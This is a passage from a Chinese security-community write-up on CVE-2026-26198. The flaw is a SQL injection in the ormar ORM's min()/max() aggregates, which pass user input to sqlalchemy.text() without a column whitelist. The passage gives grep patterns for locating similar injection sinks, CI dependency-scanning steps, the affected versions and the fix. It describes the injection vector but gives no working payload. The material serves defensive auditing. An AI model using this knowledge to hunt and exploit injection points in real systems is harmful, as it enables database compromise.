命令可以直接帮你定位类似的注入模式： ```js \# ormar 项目的 min/max 注入入口 grep \-rn "\\.min\\b\\|\\.max\\b" \--include\="\*.py" . | grep \-v test \# SQLAlchemy text() 调用 —— 看参数来源 grep \-rn "sqlalchemy.text\\|text(" \--include\="\*.py" . | grep \-v "import\\|#\\|test" \# 动态列名构造 —— f-string 或 % 格式化 grep \-rn "f\\".\*{\\|%.\*%" \--include\="\*.py" . | grep \-i "column\\|field\\|order\\|sort\\|group" \# 聚合函数封装 —— 看有没有校验参数 grep \-rn "def.\*sum\\|def.\*avg\\|def.\*min\\|def.\*max\\|def.\*count" \--include\="\*.py" . | grep \-v test ``` 这四组 grep 覆盖了 Python ORM 中最常见的 SQL 注入模式。跑一遍，如果第一个 grep 找到了直接把用户输入传给 `.min()`/`.max()` 的代码——停下来，人工审查那个调用点。 ### 9.6 CI/CD 中的供应链检测 用 `pip-audit` 或 `safety` 扫描依赖中的已知 CVE： ```js pip-audit \# 或 safety check ``` 如果 CVE-2026-26198 出现在扫描结果里，CI 直接 fail。对于 GitHub Actions 用户，Dependabot 也会自动提 PR 升级 ormar 版本——前提是你的仓库启用了 Dependabot alerts。 ORM 诞生几十年了，SQL 注入也三十年了。参数化查询消灭了值位置的注入，但标识符位置的注入一直在以不同形态复现——每次都是"动态列名→字符串拼接→忘了白名单"。这个模式不会消失，除非 ORM 框架把白名单校验做成默认开启的强制行为。在那之前，每一行传给 `text()` 的字符串都值得被怀疑。 十、这个漏洞对安全研究的启示 -------------- CVE-2026-26198 的价值不止于"又一个 SQL 注入"。它暴露了几层值得反思的问题。 **第一层：ORM 的安全承诺需要细粒度理解。** "ORM 防 SQL 注入"不是一句可以不加限定地相信的陈述。正确的理解是：ORM 对**值参数**的注入有可靠的防护（参数化查询），但对**标识符参数**（列名、表名、排序）的注入——取决于具体 ORM 在具体版本中的具体实现。使用 ORM 不能替代理解 SQL。 **第二层：ORM 的 API 设计影响着安全边界。** 接受裸字符串做列名的 API 把安全责任从框架转移到了调用方。框架开发者觉得"我提供了灵活性"，应用开发者觉得"框架会处理安全"——边界上的责任真空就是漏洞的温床。 **第三层：中型开源项目是安全研究的蓝海。** ormar 在 PyPI 上月均几十万下载，GitHub 上 2000+ 直接依赖。但它只有一个主要维护者。这类项目的安全审查几乎空白。从安全研究的角度看，投入 1-2 天审计一个中型 Python ORM，产出严重 CVE 的概率不低。对比在已经被翻烂的大型项目里找绕过——ROI 高得多。 其实，安全圈有一个不成文的规律：**漏洞密度和审计密度呈反比。** 被审得最多的代码，漏洞密度最低（因为容易找的已经被找完了）。被审得最少的代码，漏洞密度最高。Python 异步 ORM 生态恰好在一个"被审得很少"的状态里。 十一、总结 ----- CVE-2026-26198 的根因就一句话：ormar 的 `min()` 和 `max()` 聚合函数把用户输入直接传给了 `sqlalchemy.text()`，全流程没有任何列名白名单校验。`sum()` 和 `avg()` 至少还有一道 `is_numeric` 检查，`min()` 和 `max()` 什么都没。 受影响版本覆盖 0.9.9 到 0.22.0，修复在 0.23.0。如果你在 2026 年 2 月之前创建的 FastAPI 项目里用过 ormar，版本几乎肯定在受影响范围内。核心改动就 6 行——在聚合查询之前加了模型字段存在性检查。6 行，堵住 9.8。 但这个漏洞更大的价值不在于它本身——而在于它证明了**ORM 抽象层在 SQL 标识符处理上的结构性弱点。** 这不是 ormar 一个人的问题。Django ORM 在 2022 年、SQLAlchemy 在 2019 年、Laravel Eloquent 在不同的时间点上——都在同一种模式下翻过车。模式就是：动态列名→字符串拼接→忘了白名单→SQL 注入。 列名、表名、排序字段不能用参数化查询，必须字符串拼接。而字符串拼接的安全边界，只能靠开发者手动加白名单。ormar 忘了加，Django ORM 也在 2022 年忘过一次。 Python 异步 ORM 生态里，还有多少个类似 ormar 的项目——用的人不少、审的人很少——在动态列名拼接路径上完全没有白名单校验？说实话，没有人知道具体数字，但 ormar 这个案例说明了一件事：**答案大概率不是零。** 退一步想，SQL 注入从上世纪 90 年代被发现至今，已经三十年了。参数化查询几乎消灭了"值位置"上的注入，但"标识符位置"上的注入——因为不能参数化，因为需要字符串拼接——一直在以不同的形态复现。从 Django ORM 到 ormar，从 Laravel Eloquent 到 Rails ActiveRecord，模式一模一样。这不是某个语言或某个框架的问题。这是"ORM 暴露字符串 API 来指定 SQL 标识符"这个设计模式本身附带的、不可消除的风险——框架能做的最好的事，就是在拼接之前强制做白名单校验。而"强制"这个词——意味着不能靠开发者自觉，必须靠框架代码本身来保证。 **说白了：用 ORM 不等于没有 SQL 注入。ORM 的安全承诺只覆盖了"值参数"这一层。当你的查询需要动态列名、动态排序、动态聚合时——ORM 的自动保护已经静默退出了。安全边界回到了你手上。** 如果你在维护一个接受用户输入做聚合查询的应用——不管用的是 ormar、Django 还是 SQLAlchemy——去翻一眼：列名参数从哪里来的，有没有白名单兜底。十分钟的检查，挡住的是整库沦陷。 - - - - - - *CVE-2026-26198 分析完。如果你在生产环境用了 ormar——升级 0.23.0。如果你在维护接受用户输入做聚合查询的任何应用——加白名单。如果你在找 Python 生态的安全研究方向——去 grep 那些异步 ORM 的 `text()` 调用。花了 6 小时审计一个 ORM 然后交出一个 9.8 的 CVE，这种 ROI 在安全研究里可不多见。*
发表于 2026-07-20 09:41:26
阅读 ( 3708 )
分类：
漏洞分析
0 推荐
收藏
0 条评论
zee
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
